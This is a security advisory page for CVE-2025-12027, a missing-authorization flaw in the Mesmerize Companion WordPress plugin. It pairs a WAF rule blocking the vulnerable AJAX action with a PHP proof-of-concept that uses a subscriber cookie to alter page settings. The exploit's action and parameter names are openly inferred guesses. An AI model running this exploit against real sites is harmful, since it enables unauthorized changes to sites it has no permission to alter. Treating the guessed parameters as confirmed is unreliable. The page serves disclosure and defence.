CVE-2025-12027: Mesmerize Companion <= 1.6.158 – Missing Authorization Authenticated (Subscriber+) Settings Update (mesmerize-companion)

# Atomic Edge WAF Rule - CVE-2025-12027 (metadata-based)
# This rule blocks exploitation targeting the missing authorization flaw in the Mesmerize Companion plugin.
# The rule matches POST requests to the WordPress AJAX handler containing the inferred vulnerable action.
# It is narrowly scoped to the specific AJAX action and requires a page_id parameter, minimizing false positives.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:12027,phase:2,deny,status:403,chain,msg:'CVE-2025-12027 via Mesmerize Companion AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2025-12027',tag:'WordPress',tag:'WP_Plugin',tag:'Mesmerize-Companion'"
  SecRule ARGS_POST:action "@streq mesmerize_companion_open_page_in_customizer" "chain"
    SecRule ARGS_POST:page_id "@rx ^[0-9]+$"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12027 - Mesmerize Companion <= 1.6.158 - Missing Authorization Authenticated (Subscriber+) Settings Update
<?php
/**
 * Proof-of-Concept for CVE-2025-12027.
 * Assumptions based on metadata:
 * 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
 * 2. The AJAX action is derived from the function name 'openPageInCustomizer'.
 *    Common WordPress pattern: 'wp_ajax_{action}' hook, with action being 'mesmerize_companion_open_page_in_customizer'.
 * 3. The attack requires a valid low-privilege (subscriber) WordPress session cookie.
 * 4. The 'page_id' parameter is required to target a specific page.
 * 5. No nonce or capability check is present.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$cookie = 'wordpress_logged_in_abc=...'; // CHANGE THIS: Valid subscriber session cookie

// Target page ID (must exist on the site)
$page_id = 1;

// Prepare the POST data for the inferred AJAX action.
$post_fields = [
    'action' => 'mesmerize_companion_open_page_in_customizer', // Inferred action name
    'page_id' => $page_id,
    // The description mentions toggling a default editor flag and marking as maintainable.
    // Specific parameter names are unknown; 'editor' and 'maintainable' are plausible.
    'editor' => 'default', // or 'customizer'
    'maintainable' => 'true'
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie
]);

// Execute and analyze response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploitation might return a '1' or a JSON success message.
// Check if the response indicates the page metadata was updated.
if ($http_code === 200 && (strpos($response, '1') !== false || strpos($response, 'success') !== false)) {
    echo "[+] Potential exploitation successful. Page $page_id settings may have been modified.n";
} else {
    echo "[-] Exploitation may have failed or the inferred parameters are incorrect.n";
}
?>